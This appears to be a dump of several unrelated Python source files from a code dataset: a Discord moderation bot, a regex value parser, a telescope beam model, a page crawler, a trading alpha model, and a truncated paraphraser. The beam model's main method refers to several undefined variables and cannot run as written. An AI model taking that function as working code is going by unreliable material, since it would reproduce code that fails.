channel.fetch_message(config['votes2'][user]['message'])\n emb = message.embeds[0]\n title_str = emb.title\n result = re.search('(\\((.*)\\))? \\((.) votes?\\)', title_str)\n # target_username = result.group(2)\n num_of_votes = result.group(3)\n emb.title = re.sub('(.) vote', f'{int(num_of_votes)+1} vote', emb.title)\n if num_of_votes == '1': # 1-->2\n emb.title = emb.title.replace('vote', 'votes')\n config['votes2'][user]['votes'].append(user_residency)\n if num_of_votes == '2': # 2-->3\n emb.color = discord.Color(int('ff0000', 16))\n del config['votes2'][user]\n config['blacklist'].append(int(user))\n emb.set_field_at(0, name=emb.fields[0].name, value=emb.fields[0].value + f', {ctx.author.name}')\n await message.edit(embed=emb)\n await hf.dump_json()\n\n @global_blacklist.command(name='list')\n @blacklist_check()\n async def blacklist_list(self, ctx):\n \"\"\"Lists the users with residencies on each server\"\"\"\n users_str = ''\n users_dict = {}\n config = self.bot.db['global_blacklist']['residency']\n for user_id in config:\n user = self.bot.get_user(int(user_id))\n guild = self.bot.get_guild(config[user_id])\n if guild in users_dict:\n users_dict[guild].append(user)\n else:\n users_dict[guild] = [user]\n for guild in users_dict:\n try:\n users_str += f\"**{guild.name}:** {', '.join([user.name for user in users_dict[guild]])}\\n\"\n except AttributeError:\n pass\n emb = discord.Embed(title=\"Global blacklist residencies\", description=\"Listed below is a breakdown of who \"\n \"holds residencies in which servers.\\n\\n\")\n emb.description += users_str\n await ctx.send(embed=emb)\n\n @commands.command()\n @hf.is_submod()\n @commands.bot_has_permissions(manage_roles=True)\n async def mute(self, ctx, time, *, member: str = None):\n \"\"\"Mutes a user. Syntax: `;mute <time> <member>`. Example: `;mute 1d2h Abelian`\"\"\"\n\n async def set_channel_overrides(role):\n failed_channels = []\n for channel in ctx.guild.voice_channels:\n if role not in channel.overwrites:\n try:\n await channel.set_permissions(role, speak=False)\n except discord.Forbidden:\n failed_channels.append(channel.name)\n for channel in ctx.guild.text_channels:\n if role not in channel.overwrites:\n try:\n await channel.set_permissions(role, send_messages=False, add_reactions=False,\n attach_files=False)\n except discord.Forbidden:\n failed_channels.append(channel.name)\n return failed_channels\n\n if str(ctx.guild.id) not in self.bot.db['mutes']:\n await ctx.send(\"Doing first-time setup of mute module. I will create a `rai-mute` role, \"\n \"add then a permission override for it to every channel to prevent communication\")\n role = await ctx.guild.create_role(name='rai-mute', reason=\"For use with ;mute command\")\n config = self.bot.db['mutes'][str(ctx.guild.id)] = {'role': role.id, 'timed_mutes': {}}\n failed_channels = await set_channel_overrides(role)\n if failed_channels:\n await ctx.send(f\"Couldn't add the role permission to {' ,'.join(failed_channels)}. If a muted \"\n f\"member joins this (these) channel(s), they'll be able to type/speak.\")\n else:\n config = self.bot.db['mutes'][str(ctx.guild.id)]\n role = ctx.guild.get_role(config['role'])\n await set_channel_overrides(role)\n time_string, length = hf.parse_time(str(time))\n if not time_string:\n member = time\n target = await hf.member_converter(ctx, member)\n if not target:\n return\n if role in target.roles:\n await ctx.send(\"This user is already muted (already has the mute role)\")\n return\n await target.add_roles(role, reason=f\"Muted by {ctx.author.name} in {ctx.channel.name}\")\n if time_string:\n config['timed_mutes'][str(target.id)] = time_string\n await hf.dump_json()\n emb = discord.Embed(description=f\"**{target.name}#{target.discriminator}** has been **muted** from text and \"\n f\"voice chat.\",\n color=discord.Color(int('FF0000', 16)))\n if time_string:\n emb.description = emb.description[:-1] + f\" for {length[0]}d{length[1]}h.\"\n await ctx.send(embed=emb)\n\n @commands.command()\n @hf.is_submod()\n @commands.bot_has_permissions(manage_roles=True, )\n async def unmute(self, ctx, target_in, guild=None):\n \"\"\"Unmutes a user\"\"\"\n if not guild:\n guild = ctx.guild\n target: discord.Member = await hf.member_converter(ctx, target_in)\n else:\n guild = self.bot.get_guild(int(guild))\n target: discord.Member = guild.get_member(int(target_in))\n config = self.bot.db['mutes'][str(guild.id)]\n role = guild.get_role(config['role'])\n\n if target:\n target_id = target.id\n try:\n await target.remove_roles(role)\n except discord.HTTPException:\n pass\n\n else:\n if ctx.author == ctx.bot.user:\n target_id = target_in\n else:\n return\n\n if str(target_id) in config['timed_mutes']:\n del config['timed_mutes'][str(target_id)]\n await hf.dump_json()\n\n if ctx.author != ctx.bot.user:\n emb = discord.Embed(description=f\"**{target.name}#{target.discriminator}** has been unmuted.\",\n color=discord.Color(int('00ffaa', 16)))\n await ctx.send(embed=emb)\n\n @commands.command(aliases=['u'])\n async def user(self, ctx, *, member: str = None):\n if not member:\n member = ctx.author\n else:\n member = await hf.member_converter(ctx, member)\n if not member:\n return\n try:\n config = self.bot.db['stats'][str(ctx.guild.id)]['messages']\n except KeyError:\n return\n message_count = {}\n for day in config:\n if str(member.id) in config[day]:\n user = config[day][str(member.id)]\n for channel in user:\n try:\n message_count[channel] += user[channel]\n except KeyError:\n message_count[channel] = user[channel]\n sorted_msgs = sorted(message_count.items(), key=lambda x: x[1], reverse=True)\n # looks like [('284045742652260352', 15), ('296491080881537024', 3), ('296013414755598346', 1)]\n total_msgs = 0\n for i in sorted_msgs:\n total_msgs += i[1]\n emb = discord.Embed(title=f'Usage stats for {member.name} ({member.nick})',\n description=\"Since 2019/05/07)\",\n color=discord.Color(int('00ccFF', 16)),\n timestamp=member.joined_at)\n emb.add_field(name=\"Messages sent\",\n value=total_msgs)\n good_channels = 0\n hidden = self.bot.db['stats'][str(ctx.guild.id)]['hidden']\n for channel in sorted_msgs.copy():\n if str(ctx.channel.id) in hidden: # you're in a hidden channel, keep all\n break\n if channel[0] in hidden: # one of the top channels is a hidden channel, remove\n sorted_msgs.remove(channel)\n else: # it's not a hidden channel, keep\n good_channels += 1\n if good_channels == 3: # you have three kept channels\n break\n channeltext = ''\n try:\n channel1 = (self.bot.get_channel(int(sorted_msgs[0][0])), round(100 * sorted_msgs[0][1] / total_msgs, 2))\n channeltext += f\"**#{channel1[0]}**: {channel1[1]}%⠀\\n\"\n channel2 = (self.bot.get_channel(int(sorted_msgs[1][0])), round(100 * sorted_msgs[1][1] / total_msgs, 2))\n channeltext += f\"**#{channel2[0]}**: {channel2[1]}%⠀\\n\"\n channel3 = (self.bot.get_channel(int(sorted_msgs[2][0])), round(100 * sorted_msgs[2][1] / total_msgs, 2))\n channeltext += f\"**#{channel3[0]}**: {channel3[1]}%⠀\\n\"\n except IndexError: # will stop automatically if there's not three channels in the list\n pass\n if channeltext:\n emb.add_field(name=\"Top Channels:\",\n value=f\"{channeltext}\")\n voice_config = self.bot.db['stats'][str(ctx.guild.id)]['voice']['total_time']\n voice_time = 0\n for day in voice_config:\n if str(member.id) in voice_config[day]:\n time = voice_config[day][str(member.id)]\n voice_time += time\n hours = voice_time // 60\n minutes = voice_time % 60\n if voice_time:\n emb.add_field(name=\"Time in voice chats\",\n value=f\"{hours}h {minutes}m\")\n if (not total_msgs or not sorted_msgs) and not voice_time:\n emb = discord.Embed(title=f'Usage stats for {member.name} ({member.nick})',\n description=\"This user hasn't said anything in the past 30 days\",\n color=discord.Color(int('00ccFF', 16)),\n timestamp=member.joined_at)\n emb.set_footer(text=\"Joined this server\")\n await ctx.send(embed=emb)\n\n @staticmethod\n def make_leaderboard_embed(ctx, channel_in, dict_in, title):\n sorted_dict = sorted(dict_in.items(), reverse=True, key=lambda x: x[1])\n emb = discord.Embed(title=title,\n description=\"Since 2019/05/07)\",\n color=discord.Color(int('00ccFF', 16)),\n timestamp=datetime.utcnow())\n if channel_in:\n emb.title = f\"Leaderboard for #{channel_in.name}\"\n number_of_users_found = 0\n found_yourself = False\n for i in range(len(sorted_dict)):\n member = ctx.guild.get_member(int(sorted_dict[i][0]))\n if member:\n if number_of_users_found < 24 or \\\n (number_of_users_found == 24 and (found_yourself or member == ctx.author)) or \\\n number_of_users_found > 24 and member == ctx.author:\n if title.startswith(\"Messages\"):\n value = sorted_dict[i][1]\n emb.add_field(name=f\"{number_of_users_found+1}) {member.name}\",\n value=sorted_dict[i][1])\n elif title.startswith(\"Voice\"):\n hours = sorted_dict[i][1] // 60\n minutes = sorted_dict[i][1] % 60\n emb.add_field(name=f\"{number_of_users_found+1}) {member.name}\",\n value=f\"{hours}h {minutes}m\")\n number_of_users_found += 1\n if member == ctx.author:\n found_yourself = True\n if number_of_users_found >= 25 and found_yourself:\n break\n return emb\n\n async def make_lb(self, ctx, channel_in):\n try:\n config = self.bot.db['stats'][str(ctx.guild.id)]['messages']\n except KeyError:\n return\n msg_count = {}\n for day in config:\n for user in config[day]:\n for channel in config[day][user]:\n if channel_in:\n if str(channel_in.id) != channel:\n continue\n try:\n msg_count[user] += config[day][user][channel]\n except KeyError:\n msg_count[user] = config[day][user][channel]\n await ctx.send(embed=self.make_leaderboard_embed(ctx, channel_in, msg_count, \"Messages Leaderboard\"))\n\n @commands.command()\n async def lb(self, ctx):\n \"\"\"Shows a leaderboard of the top 25 most active users this month\"\"\"\n await self.make_lb(ctx, False)\n\n @commands.command()\n async def chlb(self, ctx, channel=None):\n if not channel:\n channel = ctx.channel\n else:\n channel_id = channel[2:-1]\n try:\n channel = ctx.guild.get_channel(int(channel_id))\n except ValueError:\n await ctx.send(f\"Please provide a link to a channel, not just the channel name (e.g. `;chlb #general`),\"\n f\"or if you just type `;chlb` it will show the leaderboard for the current channel.\")\n return\n await self.make_lb(ctx, channel)\n\n @commands.command(aliases=['v', 'vclb', 'vlb', 'voicechat'])\n async def vc(self, ctx):\n \"\"\"Prints a leaderboard of who has the most time in voice\"\"\"\n try:\n config = self.bot.db['stats'][str(ctx.guild.id)]['voice']['total_time']\n except KeyError:\n return\n lb_dict = {}\n for day in config:\n for user in config[day]:\n if user in lb_dict:\n lb_dict[user] += config[day][user]\n else:\n lb_dict[user] = config[day][user]\n await ctx.send(embed=self.make_leaderboard_embed(ctx, None, lb_dict, \"Voice Leaderboard\"))\n\n @commands.command(name=\"delete\", aliases=['del'])\n @hf.is_submod()\n async def msg_delete(self, ctx, *ids):\n \"\"\"A command to delete messages for mods (nod admins, submods). Usage: `;del <list of IDs>`\\n\\n\n Example: `;del 589654995956269086 589654963337166886 589654194189893642`\"\"\"\n msgs = []\n failed_ids = []\n for msg_id in ids:\n try:\n msg = await ctx.channel.fetch_message(msg_id)\n msgs.append(msg)\n except discord.NotFound:\n failed_ids.append(msg_id)\n if failed_ids:\n await ctx.send(f\"Unable to find ID(s) {', '.join(failed_ids)}.\")\n if not msgs:\n return\n emb = discord.Embed(title=f\"Deleted messages\", color=discord.Color(int('ff0000', 16)),\n description=f\"by {ctx.author.mention} ({ctx.author.name}#{ctx.author.discriminator})\",\n timestamp=datetime.utcnow())\n for msg_index in range(len(msgs)):\n msg = msgs[msg_index]\n await msg.delete()\n emb.add_field(name=f\"Message {msg_index} by {msg.author.name}#{msg.author.discriminator} ({msg.author.id})\",\n value=f\"{msg.content[:1024]}\")\n if msg.content[1024:]:\n emb.add_field(name=f\"continued\", value=f\"...{msg.content[1024:]}\")\n if msg.attachments:\n x = [f\"{att.filename}: {att.proxy_url}\" for att in msg.attachments]\n emb.add_field(name=\"Attachments (might expire soon):\", value='\\n'.join(x))\n emb.set_footer(text=f\"In #{ctx.channel.name}\")\n if str(ctx.guild.id) in self.bot.db['submod_channel']:\n channel = self.bot.get_channel(self.bot.db['submod_channel'][str(ctx.guild.id)])\n elif str(ctx.guild.id) in self.bot.db['mod_channel']:\n channel = self.bot.get_channel(self.bot.db['mod_channel'][str(ctx.guild.id)])\n else:\n await ctx.send(\"Please set either a mod channel or a submod channel with \"\n \"`;set_mod_channel` or `;set_submod_channel`\")\n return\n await channel.send(embed=emb)\n\n @commands.command()\n async def lsar(self, ctx, page_num=1):\n \"\"\"Lists self-assignable roles\"\"\"\n roles_list = []\n config = self.bot.db['SAR'].setdefault(str(ctx.guild.id), {'0': []})\n groups = sorted([int(key) for key in config])\n groups = [str(i) for i in groups]\n for group in groups:\n for role in config[group]:\n roles_list.append((group, role))\n role_list_str = f\"**There are {len(roles_list)} self-assignable roles**\\n\"\n if len(roles_list) == 1:\n role_list_str = role_list_str.replace('roles', 'role').replace('are', 'is')\n current_group = ''\n try:\n current_group = roles_list[20 * (page_num - 1)][0]\n role_list_str += f\"⟪Group {current_group}⟫\\n\"\n except IndexError:\n pass\n\n for role_tuple in roles_list[20 * (page_num - 1):20 * page_num]:\n if current_group != role_tuple[0]:\n current_group = groups[groups.index(current_group) + 1]\n role_list_str += f\"\\n⟪Group {current_group}⟫\\n\"\n\n role = ctx.guild.get_role(role_tuple[1])\n if not role:\n config[current_group].remove(role_tuple[1])\n continue\n role_list_str += f\"⠀{role.name}\\n\"\n\n emb = discord.Embed(description=role_list_str, color=discord.Color(int('00ff00', 16)))\n emb.set_footer(text=f\"{page_num} / {(len(roles_list)//20)+1}\")\n await ctx.send(embed=emb)\n\n @commands.command()\n async def iam(self, ctx, *, role_name):\n \"\"\"Command used to self-assign a role\"\"\"\n if str(ctx.guild.id) not in self.bot.db['SAR']:\n return\n config = self.bot.db['SAR'][str(ctx.guild.id)]\n desired_role = discord.utils.find(lambda role: role.name == role_name, ctx.guild.roles)\n if not desired_role:\n await ctx.send(embed=hf.red_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** No role found\"))\n return\n\n if desired_role in ctx.author.roles:\n await ctx.send(embed=hf.red_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** \"\n f\"You already have that role\"))\n return\n\n for group in config:\n for role_id in config[group]:\n if desired_role.id == role_id:\n await ctx.author.add_roles(desired_role)\n await ctx.send(embed=hf.green_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** You now have\"\n f\" the **{desired_role.name}** role.\"))\n return\n\n @commands.command()\n async def iamnot(self, ctx, *, role_name):\n \"\"\"Command used to remove a self-assigned role\"\"\"\n if str(ctx.guild.id) not in self.bot.db['SAR']:\n return\n config = self.bot.db['SAR'][str(ctx.guild.id)]\n\n desired_role = discord.utils.find(lambda role: role.name == role_name, ctx.guild.roles)\n if not desired_role:\n await ctx.send(embed=hf.red_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** No role found\"))\n return\n\n if desired_role not in ctx.author.roles:\n await ctx.send(embed=hf.red_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** \"\n f\"You don't have that role\"))\n return\n\n for group in config:\n for role_id in config[group]:\n if desired_role.id == role_id:\n await ctx.author.remove_roles(desired_role)\n await ctx.send(\n embed=hf.green_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** You no longer have \"\n f\"the **{desired_role.name}** role.\"))\n return\n\n await ctx.send(embed=hf.red_embed(f\"**{ctx.author.name}#{ctx.author.discriminator}** That role is not \"\n f\"self-assignable.\"))\n\n\ndef setup(bot):\n bot.add_cog(Main(bot))\n","sub_path":"cogs/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":108973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"166764325","text":"\"\"\"\n @description: 属性值处理规则\n @author: RoyalClown\n\"\"\"\n\n\nimport re\n\n\nclass PropertyValueModify:\n\n def double_with_unit(self, crawl_val):\n rough_val = crawl_val.replace(' ', '')\n flag = re.match(r\"(^(\\+|-)?\\d+(\\.\\d+)?)(\\D.*?)(~|~)((\\+|-)?\\d+(\\.\\d+)?)(\\D.*?)$\", rough_val)\n # pv_min = flag.group(1)\n # pv_max = flag.group(6)\n return flag\n\n def double_without_unit(self, crawl_val):\n rough_val = crawl_val.replace(' ', '')\n flag = re.match(r\"(^(\\+|-)?\\d+(\\.\\d+)?)(~|~)((\\+|-)?\\d+(\\.\\d+)?)$\", rough_val)\n # pv_min = flag.group(1)\n # pv_max = flag.group(2)\n return flag\n\n # 数值为group1,单位为group3\n def single_with_unit(self, crawl_val):\n rough_val = crawl_val.replace(' ', '')\n flag = re.match(r\"^((\\+/-)|(<)|(≠)|(>)|(≥)|(≤))?((\\+|-)?(\\d+(\\.\\d+)?))(\\D.*?)$\", rough_val)\n\n return flag\n\n def single_without_unit(self, crawl_val):\n rough_val = crawl_val.replace(' ', '')\n flag = re.match(r'^((\\+/-)|(<)|(≠)|(>)|(≥)|(≤))?((\\+|-)?(\\d+(\\.\\d+)?))$', rough_val)\n return flag\n\nif __name__ == \"__main__\":\n propertyvaluemodify = PropertyValueModify()\n print(propertyvaluemodify.double_with_unit(\"-16%~-20&^\").group(9))\n\n# flag = re.match(r\"^(\\+/-)?((\\+|-)?(\\d+(\\.\\d+)?))(\\D.*?)$\", rough_val)\n#\n# flag = re.match(r\"^(\\+/-)|(<)|(≠)|(>)|(≥)|(≤)((\\+|-)?(\\d+(\\.\\d+)?))(\\D.*?)$\", rough_val)\n#\n# flag = re.match(r\"^(\\+/-)?((\\+|-)?(\\d+(\\.\\d+)?))(\\D.*?)$\", rough_val)\n\n","sub_path":"StandardSpider/DataAnalyse/valueProcessing/propertyValueModify.py","file_name":"propertyValueModify.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"144423744","text":"\n\n\nimport numpy as np\nimport ClassTimeIt\nimport scipy.interpolate\n\nclass ClassModelWSRT():\n def __init__(self,MSClass,SMClass,freqs,NumAntennaFit=None):\n self.MSClass=MSClass\n self.SMClass=SMClass\n self.na=self.MSClass.na\n self.freqs=freqs\n self.RefFreq=np.mean(self.freqs)\n self.NumAntennaFit=NumAntennaFit\n self.NAntFit=len(self.NumAntennaFit)\n\n ThisType=np.float64\n self.DicoCoefs={\"dl\": {\"indx\":(0,self.NAntFit),\"value\":None,\"default\":np.zeros((self.na,),ThisType)},\n \"dm\": {\"indx\":(self.NAntFit,2*self.NAntFit),\"value\":None,\"default\":np.zeros((self.na,),ThisType)}\n }\n \n self.MapAntList=[]\n indx=0\n for ant in range(self.na):\n if ant in self.NumAntennaFit:\n self.MapAntList.append(indx)\n indx+=1\n else:\n self.MapAntList.append(None)\n self.NPars=2*self.NAntFit\n\n Beam=np.load(\"Beam14.npz\")\n Jones=Beam[\"Jones\"]\n ext=Beam[\"extent\"]*np.pi/180\n x=y=np.linspace(-ext/2,ext/2,Jones.shape[1])\n\n\n self.BeamInterpolatorReal=[scipy.interpolate.RectBivariateSpline(x.flatten(),y.flatten(),Jones[pol].real,kx=1,ky=1) for pol in range(4)]\n self.BeamInterpolatorImag=[scipy.interpolate.RectBivariateSpline(x.flatten(),y.flatten(),Jones[pol].imag,kx=1,ky=1) for pol in range(4)]\n \n\n def AppendDico(self,nameField):\n self.DicoCoefs[nameField][\"indx\"]=(self.NPars,self.NPars+self.NAntFit)\n self.NPars+=self.NAntFit\n \n\n def UpDateValuesDico(self,coefin):\n na=self.na\n \n for key in self.DicoCoefs.keys():\n i0,i1=self.DicoCoefs[key][\"indx\"]\n Value=self.DicoCoefs[key][\"default\"].copy()\n if i0!=None:\n Value[self.NumAntennaFit]=coefin.copy().flatten()[i0:i1]\n self.DicoCoefs[key][\"value\"]=Value\n\n\n\n\n def __call__(self,time,coef,ant,ra,dec,freq=None):\n if freq==None:\n freqin=self.freqs\n else:\n freqin=freq\n\n na=self.na\n T=ClassTimeIt.ClassTimeIt(\"ClassModelKAT7\")\n self.UpDateValuesDico(coef)\n l,m=self.MSClass.radec2lm_scalar(ra,dec)\n Ns=l.shape[0]\n\n dl=self.DicoCoefs[\"dl\"][\"value\"]\n dm=self.DicoCoefs[\"dm\"][\"value\"]\n\n\n x=y=np.linspace(-ext/2,ext/2,J.shape[1])\n xx,yy=l+dl,m+dm\n z=f.ev(xx,yy)\n\n fact=(1./60)*np.pi/180\n\n T.timeit(\"GetCoef\")\n\n freqin=freqin.reshape(1,freqin.size,1,1)\n scaling=scaling.reshape(1,1,na,1)\n s=(l.size,freqin.size,na,1)\n norm=norm.reshape(1,1,na,1)\n norm=norm+normf.reshape(1,1,na,1)*(freqin-self.RefFreq)/self.RefFreq\n\n\n magicnum=1.3536#(0.01)\n magicnum=1.0881#(0.1)\n# magicnum=0.9461#(0.2)\n# magicnum=0.6539#(0.5)\n\n IndOutSelect=(self.SMClass.SourceCat.Select==0)\n\n Beam=np.zeros((self.SMClass.NDir,freqin.size,self.na,4),dtype=np.complex64)\n T.timeit(\"Declare\")\n ellipticity=ellipticity.reshape(1,na)\n r = np.sqrt(((l.reshape(Ns,1)+dl.reshape(1,na)*fact)/ellipticity)**2+(m.reshape(Ns,1)+dm.reshape(1,na)*fact)**2)\n T.timeit(\"Beam0: r\")\n r=r.reshape(Ns,1,na,1)\n\n M=(65+scaling)*freqin*1e-9*r\n M[M>magicnum]=magicnum\n beam_l = norm*np.cos(M)**3\n T.timeit(\"Beam0: cos\")\n Beam[:,:,:,0]=beam_l[:,:,:,0]\n T.timeit(\"Beam0\")\n\n dls=dms=np.zeros((1,na),dtype=np.float32)\n rs = np.sqrt((l.reshape(Ns,1)+dls)**2/ellipticity**2+(m.reshape(Ns,1)+dms)**2)\n rs=rs.reshape(Ns,1,na,1)\n M=(65+scaling)*freqin*1e-9*rs\n M[M>magicnum]=magicnum\n beam = norm*np.cos(M)**3\n Beam[IndOutSelect,:,:,0]=beam[IndOutSelect,:,:,0]\n\n\n\n r = np.sqrt((l.reshape(Ns,1)+dl.reshape(1,na)*fact)**2+((m.reshape(Ns,1)+dm.reshape(1,na)*fact)/ellipticity)**2)\n r=r.reshape(Ns,1,na,1)\n M=(65+scaling)*freqin*1e-9*r\n M[M>magicnum]=magicnum\n beam_l = norm*np.cos(M)**3\n Beam[:,:,:,3]=beam_l[:,:,:,0]\n\n dls=dms=np.zeros((1,na),dtype=np.float32)\n rs = np.sqrt((l.reshape(Ns,1)+dls)**2+(m.reshape(Ns,1)+dms)**2/ellipticity**2)\n rs=rs.reshape(Ns,1,na,1)\n M=(65+scaling)*freqin*1e-9*rs\n M[M>magicnum]=magicnum\n beam = norm*np.cos(M)**3\n Beam[IndOutSelect,:,:,3]=beam[IndOutSelect,:,:,0]\n\n\n T.timeit(\"Beam1\")\n\n \n\n\n return Beam\n\n\n","sub_path":"HyperCal/ModelME/ClassModelBeamKAT7.py","file_name":"ClassModelBeamKAT7.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"580327218","text":"from excellib import excel\nfrom datetime import datetime\nfrom collections import defaultdict\nfrom time import sleep\nfrom sclib import sc\nfrom selenium import webdriver\nimport os\n\nimport sys\n\ndef main():\n '''\n This is the general workflow logic of this project\n 1)Import previous work done as completed and queue\n 2)Loop through queue\n a)Verify this page hasn't been processed prior, if so remove from queue and reloop\n b)Take url, process and generate list of elements\n c)Add recommened profiles to queue provided they aren't in completed\n d)Add list of elements from page to list of output\n 3)Update the completed and queue files, make new output file\n '''\n \n #1\n output = []\n queue = defaultdict(lambda: 0, {item:1 for item in excel.importColumn('queue.xlsx', 'a')})\n completed = defaultdict(lambda: 0, {item:1 for item in excel.importColumn('completed.xlsx', 'a')})\n \n #2 Scraping Loop\n loops = 0\n \n startTime = datetime.now()\n while (queue):\n if loops == pagesToLoop:\n break\n if pauseTime != 0:\n sleep(pauseTime)\n url = queue.popitem()[0]\n\t\n if completed[url] == 1: \t #a\n continue\n\n gen = sc.urlToList(url) \t \t#b \n if not gen: #list is empty if outside range, so reloop\n continue\n\t \n crawlList = gen.pop(0)\n\n while crawlList: #c\n if (completed[crawlList[0]] == 0) & (queue[crawlList[0]] == 0):\n queue[crawlList.pop(0)] = 1\n else:\n crawlList.pop(0) #No point in making a deque it's size 9\n completed[gen[0]] = 1\n output.append(gen) #d\n\t\n loops += 1\n\n endTime = datetime.now()\n sc.closeDriver()\n #3 Exporting results\n for key in list(completed.keys()):\n if completed[key] == 0:\n del completed[key]\n\t\n excel.exportFunc(list(queue.keys()), 'queue.xlsx')\n excel.exportFunc(output, 'output.xlsx')\n excel.exportFunc(list(completed.keys()), 'completed.xlsx')\n\n print('Start time: {}, End Time: {}, Pages: {}, Pause Time: {} '.format(startTime, endTime, pagesToLoop, pauseTime))\n print('O(N) size = {}'.format(str(len(queue) + len(completed))))\n print('Sucessfully scraped {} webpages, open output.xlsx'.format(pagesToLoop))\n return\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 4:\n print('Usage: python main.py <pages to loop> <time to pause between> <geckodriver or chromedriver>')\n exit()\n\n pagesToLoop = int(sys.argv[1])\n pauseTime = int(sys.argv[2])\n PROJECT_ROOT = os.path.abspath(os.path.dirname(__file__))\n DRIVER_BIN = os.path.join(PROJECT_ROOT, sys.argv[3])\n sc.initDriver(webdriver.Chrome(executable_path = DRIVER_BIN))\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"626113563","text":"from abc import ABCMeta, abstractmethod\n\nfrom qstrader.alpha_model.alpha_model import AlphaModel\n\n\nclass BufferAlphaModel(AlphaModel):\n \"\"\"\n An abstract AlphaModel that makes use of price buffer\n signals in its construction. This is used for, e.g.\n momentum and/or trend-following indicator signals.\n\n It is necessary to override the 'generate_signals'\n method in a derived subclass in order to implement\n signal logic.\n\n Parameters\n ----------\n buffer_types : `list[SignalType]`\n The list of buffer type class names needing\n calculation for the alpha model.\n start_dt : `pd.Timestamp`\n The starting datetime (UTC) of the buffering.\n universe : `Universe`\n The univers of assets to create buffers for.\n data_handler : `DataHandler`\n The data handler used to obtain current prices from.\n lookbacks : `list[int]`, optional\n The optional list of lookback periods to calculate\n price buffers for.\n \"\"\"\n\n __metaclass__ = ABCMeta\n\n def __init__(\n self, buffer_types, start_dt, universe,\n data_handler, lookbacks=[12]\n ):\n self.buffer_types = buffer_types\n self.start_dt = start_dt\n self.universe = universe\n self.data_handler = data_handler\n self.lookbacks = lookbacks\n self.buffers = self._generate_asset_signal_buffers()\n self.warmups = 0\n\n def _generate_asset_signal_buffers(self):\n \"\"\"\n Generates a dictionary of asset signal buffers\n for each specified signal.\n\n Returns\n -------\n `dict{str: SignalType}`\n The dictionary of signal type buffers.\n \"\"\"\n assets = self.universe.get_assets(self.start_dt)\n return {\n buffer_type.__name__.replace('Signal', '').lower(): buffer_type(\n assets, lookbacks=self.lookbacks\n )\n for buffer_type in self.buffer_types\n }\n\n @abstractmethod\n def generate_signals(self, dt, weights):\n \"\"\"\n It is necessary to override this method in a\n derived subclass in order to implement signal logic.\n \"\"\"\n raise NotImplementedError(\n \"Must override generate_signals in order to specify \"\n \"buffer strategy logic.\"\n )\n\n def __call__(self, dt):\n \"\"\"\n Appends all prices to the necessary signal buffers\n for each asset in the universe. Also keeps track of\n warmup/burn-in time so that signals are only generated\n when sufficient data exists.\n\n Parameters\n ----------\n dt : `pd.Timetamp`\n The current time of the trading system.\n\n Returns\n -------\n `dict{str: float}`\n The generated signal weights of the alpha model.\n \"\"\"\n assets = self.universe.get_assets(dt)\n weights = {asset: 0.0 for asset in assets}\n\n for asset in assets:\n price = self.data_handler.get_asset_latest_mid_price(dt, asset)\n for buffer_type in self.buffer_types:\n buffer_name = buffer_type.__name__.replace('Signal', '').lower()\n self.buffers[buffer_name].append(asset, price)\n self.warmups += 1\n\n if self.warmups > max(self.lookbacks):\n weights = self.generate_signals(dt, weights)\n\n return weights\n","sub_path":"qstrader/alpha_model/buffer.py","file_name":"buffer.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"162570575","text":"import pandas as pd\r\nimport numpy as np\r\nimport pickle5 as pickle\r\nimport stanza\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom utils.batch_loader import clean_str\r\n\r\nfrom nltk.lm.preprocessing import padded_everygram_pipeline\r\nfrom nltk import word_tokenize\r\nfrom nltk.lm import KneserNeyInterpolated\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver import Chrome\r\nfrom selenium.webdriver.chrome.options import Options\r\n\r\nPOS = {'ADJ': 'av', 'ADV': 'ab', 'VERB': 'vb', 'NOUN' : 'nn'}\r\n\r\nclass SynonymParaphraser:\r\n def __init__(self, model=None, ngram=3):\r\n if True:\r\n stanza.download('sv') # download Swedish model\r\n self.nlp = stanza.Pipeline('sv') # initialize Swedish neural pipeline\r\n self.base_url = 'https://www.synonymer.se/sv-syn/'\r\n\r\n # Build Language Model from corpus\r\n if model is None:\r\n with open('kneyser_lm.pkl', 'rb') as f:\r\n self.model = pickle.load(f)\r\n\r\n else:\r\n self.model = KneserNeyInterpolated(ngram)\r\n sentences = np.loadtxt(corpus_file, dtype='U', delimiter='\\n')\r\n text = [list(map(str.lower, word_tokenize(sent))) for sent in sentences]\r\n train_data, padded_sents = padded_everygram_pipeline(ngram, text)\r\n self.model.fit(train_data, padded_sents)\r\n\r\n def generate_paraphrases(self, source_file):\r\n # Read data and make a copy to store edited paraphrases\r\n source_data = pd.read_csv(source_file)['question1']\r\n paraphrases = source_data.copy()\r\n\r\n for i in range(1688, len(source_data)):\r\n # Clean source sentences and generate dependency parse treee\r\n source_data[i] = clean_str(source_data[i])\r\n doc = self.nlp(source_data[i])\r\n print(doc)\r\n\r\n # Iterate all words to find potential words to replace with synonyms\r\n candidate_words = []\r\n for word in doc.sentences[0].words:\r\n if word.upos in [\"ADJ\", \"ADV\", \"NOUN\", \"VERB\"] and word.feats:\r\n candidate_word = {'word' : word.text,\r\n 'index' : word.id-1,\r\n 'POS' : word.upos}\r\n valid_candidate = True\r\n features = [feature.split('=') for feature in word.feats.split('|')]\r\n for feature in features:\r\n if feature[0] == 'VerbForm' and feature[1] == 'Part':\r\n valid_candidate = False\r\n break\r\n candidate_word[feature[0]] = feature[1]\r\n if valid_candidate:\r\n candidate_words.append(candidate_word)\r\n\r\n\r\n replacements = 0\r\n best_candidate = 